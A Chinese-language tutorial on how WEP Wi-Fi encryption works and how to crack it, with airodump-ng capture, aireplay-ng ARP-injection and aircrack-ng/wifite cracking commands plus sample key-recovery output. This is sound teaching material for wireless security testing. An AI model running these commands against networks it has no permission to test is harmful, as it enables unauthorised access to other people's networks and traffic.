破解无线网络在普通人眼中可能就是所谓的万能钥匙之类的软件,而在黑客或者渗透人员的眼里就是一门精湛的技术。
无线网络Wi-Fi所属的协议为802.11,而802.11的加密系统常用的有4种:WEP、WPA、WPA2、WPA3,这个回答主要谈谈如何破解WEP。
WEP通过加密在无线节点间传输的数据来提供数据保护服务。802.11帧控制字段的WEP子字段中表明该帧是否启用了WEP加密,它通过在无线帧的加密部分包含ICV(完整性校验值)来确保数据的完整性。
在WEP中定义了两个共享密钥:多播/全局密钥,保护从AP发向客户端的组播和广播流量的加密密钥;单播会话密钥,保护AP和客户端间的单播流量及客户端发向AP的组播和广播流量的密钥。
WEP加密使用带有40位和104位加密密钥的RC4[1]对称流密码。尽管在802.11标准中没有规定104位加密密钥,但许多无线AP供应商都支持。一些宣称使用128位WEP加密密钥的实现方法是将一个104位加密密钥添加到24位IV(初始化向量)中,并将其称为128位密钥。IV是位于每个802.11帧头部的字段,其在加密和解密过程中使用。
WEP加密过程如图所示。
WEP加密过程
为了加密802.11帧的有效载荷,将经过以下过程。
① 使用帧数据计算出32位的ICV。
② 将ICV附加到帧数据的末尾。
③ 生成一个24位的IV并将其附加到WEP密钥上。
④ 将IV和WEP密钥的组合用作伪随机数生成器(PRNG)的输入,生成一个与帧数据和ICV的组合长度相同的位序列,也称为密钥流。
⑤ 使用密钥流与数据和ICV的组合按位进行异或运算,生成在AP与客户端之间传递的实际密文。
⑥ 将IV和其他字段添加到密文前面,一同构成802.11 MAC帧的有效载荷。
WEP解密过程如图所示。
WEP解密过程
为了解密802.11帧数据,将经过以下过程。
① 从MAC有效载荷的前面部分获得IV。
② 将IV附加至WEP密钥。
③ 将IV和WEP密钥的组合用作相同PRNG的输入,以生成与帧数据和ICV的组合长度相同的密钥流,该密钥流与加密时生成的密钥流相同。
④ 将密钥流与数据和ICV的组合按位进行异或运算,以解密出原始的数据和ICV。
⑤ 对帧数据进行ICV计算,将结果与解密出的ICV值进行比较。如果匹配,则认为数据有效;如果不匹配,则会被丢弃。
WEP是无线网络中最早被广泛使用的安全协议,它使用了基于共享加密密钥的RC4对称加密算法。
在说明如何破解前,我们了解一下终端与接入点连接的过程:
1.AP(具备从无线至有线桥接功能的设备)发送Beacon帧。AP通过对外周期性发送Beacon帧宣告接入点的存在,其中包含的热点的相关信息。
2.客户端(可以理解为你们的手机、电脑)向热点发送Probe Request帧(请求探测)。当你们对一个热点发起连接时,就会向目标热点发送一个这样的请求。
3.热点对客户端进行响应,发送一个Probe Response帧(探测响应帧)。
4.客户端向AP发送Authentication Request帧(认证请求帧)。
5.AP回应客户端Authentication Response(认证响应帧)。
6.身份认证通过后,客户端向接入点发起Association Request帧(连接请求帧),请求接入WLAN。
7.AP回应客户端Association Respone帧(连接响应帧)。
而破解的过程,也就是在这一个一个帧传送的过程中。黑客们会抓住它们的帧,拆开解析里面的信息、报文、数据……从而找出其中的破绽。大多破解的操作还有相关软件都是基于Linux操作系统下进行的,我们可以使用Aircrack-ng(是无线网络安全中使用最广的渗透测试及破解工具之一)套件来破解WEP认证的无线网络。
如何使用Aircrack-ng套件来破解WEP认证的无线网络?大体上可以将方法分为有客户端和无客户端两种环境。
由于WEP的破解基于IV(有效数据报文)的积累,因此只要收集足够的IV报文就能使用aircrack-ng组件进行破解。最为广泛使用的无线WEP攻击主要采用回注数据报文的方式刺激AP作出响应,达到增大无线数据流量的目的。
(1) 获取目标AP信息并捕获IV报文
在正式抓包前,先进行预探测,获取目标无线网络的信息,包括AP的SSID、MAC地址、工作信道、无线客户端的MAC地址及数量等。命令如下:
airodump-ng mon0
当获取目标网络的信息后,再次运行airodump-ng命令程序并指定监听的目标热点,将捕获到的数据帧写入WEP文件中:
airodump-ng --ivs -c 6 --bssid AP的MAC地址 -w WEP mon0
在上述命令中,--ivs只收集IV而不保存其他的无线网络数据;-c用于指定信道;--bssid用于指定热点MAC地址;-w用于指定输出文件名称。生成的文件是类似wep-01.ivs这样进行了编号的文件,再一次运行时会生成名为wep-02.ivs的文件。
(2) 对目标AP执行注入攻击
单纯等待着无线客户端与该AP通信来进行抓包可能会需要等待较长的时间,可以采用ARP Request注入的方式,读取ARP请求报文并伪造报文,以刺激AP产生更多的数据包,从而加快破解进程。命令如下:
aireplay-ng --arpreplay -h 客户端的MAC地址 -b AP的MAC地址
(3) 破解WEP
所捕获的数据帧迅速增长,当捕获的IV报文达到一定数量(一般需要1万以上),就可以使用aircrack-ng破解WEP了。命令如下:
aircrack-ng wep*.ivs
破解成功后显示效果如下:
Aircrack-ng 0.9
[00:03:06] Tested 674449 keys (got 96610 IVs)
KB depth byte(vote)
0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0)
1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12)
2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10)
3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15)
KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%
从上述执行效果中可以看到,KEY FOUND后面的便是密码信息(十六进制)。一般来说,若要确保破解的成功,应该捕获尽量多的IVs数据。
ChopChop和Fragment攻击都可以用于不存在无线客户端连接或者仅存在少量无线客户端连接的情况。由于它们的攻击理论都建立在加密算法的数学分析上,因此这里不再深入探讨。同样,可以使用aireplay-ng工具执行这两种攻击,但在大多数实际的无线渗透测试过程中,会使用自动化的工具来对WEP热点进行破解。
wifite是一款自动化的无线网络审计工具。只需提供几个参数,wifite就能自动完成所有的任务,如图所示,wifite的完整功能包括:
wifite
在你了解各种攻击原理后,使用该工具来进行实际的无线渗透测试会降低使用复杂度。
以下使用wifite工具为例进行介绍,只测试WEP热点的命令如下:
wifite --wep
(1) 扫描周边的WEP加密热点,需要用户选择攻击目标。如图所示。
扫描周边WEP加密热点
(2) 尝试以不同的攻击方式刺激目标AP以产生IV。如图所示。
刺激AP产生IV
也可以按下Ctrl+C组合键中止运行,通过手动方式来选择其他的攻击方式,如图所示。
其他可选择的攻击方式
(3) 这个过程需要几分钟。当收集到足够的IV后,wifite工具将会开始破解该WEP网络的密码。破解成功后的界面如图所示。
。